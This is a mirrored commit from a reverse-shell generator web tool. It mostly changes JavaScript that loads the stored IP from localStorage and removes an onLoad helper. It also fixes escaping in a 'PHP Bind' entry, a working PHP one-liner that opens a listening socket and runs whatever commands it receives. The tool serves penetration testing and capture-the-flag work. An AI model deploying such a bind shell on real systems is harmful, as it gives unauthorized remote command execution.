mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-18 08:55:25 +00:00
LocalStorage load and PHP Bind fix
Fixed the page not loading the stored IP by switching entirely to a localstorage based solution. Also removed additional backslashes from the PHP bind shell as per Ryan's request
This commit is contained in:
parent
b7b7ee548f
commit
e03e252f16
@ -478,6 +478,10 @@
|
|||||||
const bindShellCommand = document.querySelector("#bind-shell-command");
|
const bindShellCommand = document.querySelector("#bind-shell-command");
|
||||||
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
||||||
|
|
||||||
|
if(localStorage.getItem("ip") == null || localStorage.getItem("ip").length == 0){
|
||||||
|
localStorage.setItem("ip", ipInput.placeholder);
|
||||||
|
}
|
||||||
|
|
||||||
const FilterType = {
|
const FilterType = {
|
||||||
'All': 'all',
|
'All': 'all',
|
||||||
'Windows': 'windows',
|
'Windows': 'windows',
|
||||||
@ -574,7 +578,7 @@
|
|||||||
|
|
||||||
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
||||||
|
|
||||||
getIP: () => ipInput.value || ipInput.getAttribute('placeholder'),
|
getIP: () => localStorage.getItem("ip"),
|
||||||
|
|
||||||
getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')),
|
getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')),
|
||||||
|
|
||||||
@ -591,10 +595,9 @@
|
|||||||
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
||||||
encodeURI('{shell}')
|
encodeURI('{shell}')
|
||||||
];
|
];
|
||||||
|
|
||||||
parameters.forEach((param) => {
|
parameters.forEach((param) => {
|
||||||
if (encoder) param = encoder(param)
|
if (encoder) param = encoder(param)
|
||||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||||
})
|
})
|
||||||
return text
|
return text
|
||||||
},
|
},
|
||||||
|
@ -241,7 +241,7 @@ const bindShellCommands = withCommandType(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "PHP Bind",
|
"name": "PHP Bind",
|
||||||
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);\\socket_write($cl,$m,strlen($m));}}'",
|
"command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'",
|
||||||
"meta": ["bind", "mac", "linux", "windows"]
|
"meta": ["bind", "mac", "linux", "windows"]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
@ -345,10 +345,3 @@ const rsgData = {
|
|||||||
...msfvenomCommands
|
...msfvenomCommands
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
function onLoad() {
|
|
||||||
const spans = document.getElementsByTagName('span');
|
|
||||||
spans[5].innerHTML = document.getElementById("ip").value;
|
|
||||||
}
|
|
||||||
|
|
||||||
setTimeout(onLoad)
|
|
||||||
|
Loading…
Reference in New Issue
Block a user